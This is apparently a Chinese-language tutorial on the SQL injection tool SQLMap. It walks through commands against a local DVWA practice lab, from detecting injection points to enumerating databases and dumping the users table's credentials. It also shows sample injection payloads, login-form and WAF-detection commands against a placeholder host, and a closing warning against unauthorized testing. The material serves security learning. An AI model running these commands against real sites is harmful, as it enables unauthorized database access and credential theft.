✅ 什么是 SQLMap?
SQLMap 是一款开源的自动化 SQL 注入工具,支持检测并利用 SQL 注入漏洞,能自动执行数据库识别、数据提取、甚至执行系统命令等。
🧠 SQLMap 能干什么?
功能 | 说明 |
---|---|
自动识别注入点 | 包括 GET、POST、Cookie、User-Agent、Referer |
获取数据库名/表/字段/数据 | 枚举和导出数据非常方便 |
支持多种 DBMS(数据库) | MySQL、PostgreSQL、Oracle、MSSQL、SQLite、MariaDB 等 |
支持多种注入方式 | Boolean-based、Time-based、Error-based、UNION-based、Stacked queries 等 |
执行系统命令(RCE) | 当数据库权限高时 |
文件读写(通过 SQL 注入) | 支持读取写入服务器文件系统 |
支持 TOR、代理、WAF 绕过 | 提供伪装和绕过机制 |
可与 BurpSuite 配合使用 | 支持从 Burp 报文导入请求测试 |
🛠️ 常用命令实战
1. 基本检测
sqlmap -u "http://target.com/page.php?id=1" --batch
2. 指定 Cookie(如 DVWA)
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=xxx; security=low" --batch
✅ 检测结果简明总结
- 🎯 目标URL:http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit
- 🍪 使用 Cookie:PHPSESSID=…; security=low
- 🧠 自动识别的注入类型:
注入类型 | 描述 |
---|---|
✅ Boolean-based blind | id=1’ OR NOT 9933=9933# |
✅ Error-based | FLOOR(RAND(0)*2) 类型爆错注入 |
✅ Time-based blind | SLEEP(5) 延迟注入 |
✅ UNION query | 使用 2 列进行的联合查询注入 |
- 💾 数据存储位置:/root/.local/share/sqlmap/output/localhost/
3. 查看当前数据库名
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=tofeed8aue54ilrbvs0qdp0ga5; security=low" \
--current-db
4. 查看所有数据库名
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=tofeed8aue54ilrbvs0qdp0ga5; security=low" \
--dbs
5. 查看某数据库的表
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=tofeed8aue54ilrbvs0qdp0ga5; security=low" \
-D dvwa --tables
6. 查看某表的字段
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=tofeed8aue54ilrbvs0qdp0ga5; security=low" \
-D dvwa -T users --columns --batch
7. 导出数据
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=tofeed8aue54ilrbvs0qdp0ga5; security=low" \
-D dvwa -T users -C user,password --dump --batch
⚙️ 其他技巧
🔄 自动 URL 编码
SQLMap 会自动处理 URL 编码,所以你不用手动将 ’ 编成 %27。
💡 POST 请求注入
sqlmap -u "http://target.com/login.php" --data="username=admin&password=123" --batch
🔍 检测 WAF 防火墙
sqlmap -u "http://target.com/page.php?id=1" --identify-waf
🌐 设置代理或 TOR
sqlmap -u "http://target.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
📁 输出路径
SQLMap 会将测试结果保存在:
~/.local/share/sqlmap/output/
🚨 注意事项
警告 | 说明 |
---|---|
未授权攻击违法 | 请仅在授权范围内测试,如 DVWA、bwapp、测试靶场 |
可能引发服务崩溃 | 尽量不要在生产环境或真实目标直接跑全参数 |
SQLMap 不是万能工具 | 遇到 WAF、过滤器强的情况,需手工绕过或配合其他工具 |